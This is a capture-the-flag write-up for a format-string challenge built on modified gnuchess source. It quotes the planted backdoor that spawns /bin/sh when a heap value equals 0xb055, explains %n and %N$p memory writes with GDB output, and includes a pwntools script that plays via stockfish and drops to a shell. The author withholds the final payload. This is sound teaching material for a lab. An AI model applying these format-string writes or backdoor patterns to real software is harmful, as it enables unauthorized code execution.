che%s%s
Description
Ohh no! Someone just broke into our system!
Ok, now they are stealing the source code of our unbeatable che%s%s engine. Aaaand we are locked out of our che%s%s service…
We managed to capture their modified source code while the bad folks uploaded a new version of our software.
Could you help us get inside again?
nc chess.secchallenge.crysys.hu 5017
- Author: tcs
- Attachments: chess, chess-src.tar.gz
Solution
0x1 basic information
Just based on the title of the challenge, one can assume, that we are looking at a format string vulnerability.
Since we are given the source code of the challenge, we can quickly identify, that it is a modified version of gnuchess-6.2.9
. Pulling the original source, and diffing it to the “leaked” source, we can see, that the following parts were modified:
In main.cc
:
int *solved = (int*) calloc(1, 1);
...
if(*solved == 0xb055){
system("/bin/sh");
exit(1);
}
and in frontend/engine.cc
:
if(strcmp(engineinput, "1-0 {White mates}\n") == 0){
puts("Congrats! Here is your reward:");
printf(name);
}
What we are looking at here, is an arbitrary memory write using printf
.
In a nutshell, format strings work in the following way:
If you supply format characters in the format string part of the function call, the function will expect, that you have placed the variables on the stack according to the format characters. What if not? You are leaking the stack of your program.
But how can we write data? This is where the %n
format character comes into play. If you look up the manpage of printf
for example, it says:
The number of characters written so far is stored into the integer pointed to by the corresponding argument. That argument shall be an int *, or variant whose size matches the (optionally) supplied integer length modifier. No argument is converted. (This specifier is not supported by the bionic C library.) The behavior is undefined if the conversion specification includes any flags, a field width, or a precision.
And luckily for us, the solved
variable is an int *
, so we have everything in order to exploit the code, and get a shell.
0x2 exploit
Since we are playing a proper chess engine, even when setting the depth
of the engine to 1
gives us a tough opponent. So obviously we just get another, preferably better, engine to play for us. For this I chose stockfish, which is a well-known engine, and after a bit of googling I set it up using pychess.
Implementing basic I/O communication as usual, and we have a stable way of getting to the part, where we can exploit the format string.
The creators of the challenge were kind enough to put the solved
variable onto the stack. We only had to figure out, where exactly it is.
This is the part where GDB
came in handy. Breaking at the printf
call, we can examine the stack.
Looking at the trace, we can see that we are one function call deep from main, namely inside NextEngineCmd()
. Disassemblying it, we can see, that it actually allocates quite a huge stackframe:
0x000055555556a8d1 <+4>: push rbp
0x000055555556a8d2 <+5>: mov rbp,rsp
0x000055555556a8d5 <+8>: sub rsp,0x1000
This means, that the solved variable will be quite far from us. To find its exact location we can break at the line in main
where the variable gets compared:
0x000055555555984d <+2780>: mov rax,QWORD PTR [rbp-0x1d8]
0x0000555555559854 <+2787>: mov eax,DWORD PTR [rax]
0x0000555555559856 <+2789>: cmp eax,0xb055
0x000055555555985b <+2794>: jne 0x555555559873 <main+2818>
0x000055555555985d <+2796>: lea rdi,[rip+0x4395d] # 0x55555559d1c1
0x0000555555559864 <+2803>: call 0x555555558810 <system@plt>
From here, we can use the x/Ngx $rsp
syntax, where N
is a positive integer in order to find the pointer of solved
. (You are looking for a heap address on the stack).
If you found the N
, you know where your your variable is, which you have to overwrite. Since it will be quite far, and your format string is limited to ~50 characters, you will have to use another trick, to directly access any “argument” of the stack (Look into the %N$p
syntax). Since the call to printf
will also allocate some memory on the stack, you will have to find the exact position using the format string vuln, and dumping the memory around the offset using the aforementioned syntax, until you find the exact position.
The script I wrote to solve this challenge automates everything except finding the offset, but to not give the students an instant solution I will remove the winning format string from my code.
import chess
from pwn import *
import chess.engine
import time
import re
import signal
import sys
# exit gracefully on Ctrl + C
def signal_handler(sig, frame):
engine.quit()
exit()
# register signal handler
signal.signal(signal.SIGINT, signal_handler)
pr = log.progress("White winning")
# set up board and stockfish
engine = chess.engine.SimpleEngine.popen_uci("/usr/games/stockfish")
limit = chess.engine.Limit(depth=14)
board = chess.Board()
#with process(["gdb", "./chess"]) as p:
#p.sendline(b'b *NextEngineCmd+931')
#p.sendline(b'r')
with remote("chess.secchallenge.crysys.hu", 5017) as p:
# initial setup, nerfing the chall
p.recvuntil(b'White (1) : ').decode()
success("Nerfed challenge to oblivion")
p.sendline(b"depth 1")
p.recvuntil(b'White (1) : ').decode()
p.sendline(WIN)
p.recvuntil(b'White (1) : ').decode()
movecount = 1
while True:
# get the next engine move
engine_ret = engine.play(board, limit, info=chess.engine.Info.SCORE)
pr.status(str(engine_ret.info['score'].white()))
# send engine move to the challenge
san_move = board.san(engine_ret.move)
# if we checkmate, go interactive
if "#" in san_move:
#print(f"Winning move: {san_move}")
#p.interactive()
p.sendline(san_move.encode())
pr.success("White checkmates")
rec = f'White ({movecount}) : '
p.recvuntil(rec.encode()).decode()
success("Enjoy your shell")
p.interactive()
# if not checkmate, let it play it out
p.sendline(san_move.encode())
# update local board
board.push(engine_ret.move)
movecount += 1
# wait for the next prompt
rec = f'White ({movecount}) : '
answer = p.recvuntil(rec.encode()).decode()
parsed_move = re.findall(r'My move is : .*\n', answer)[0].strip('\n').split(' ')[-1]
# push the move received to the board
board.push_san(parsed_move)
The acquired flag is:
cd22{HIDDEN}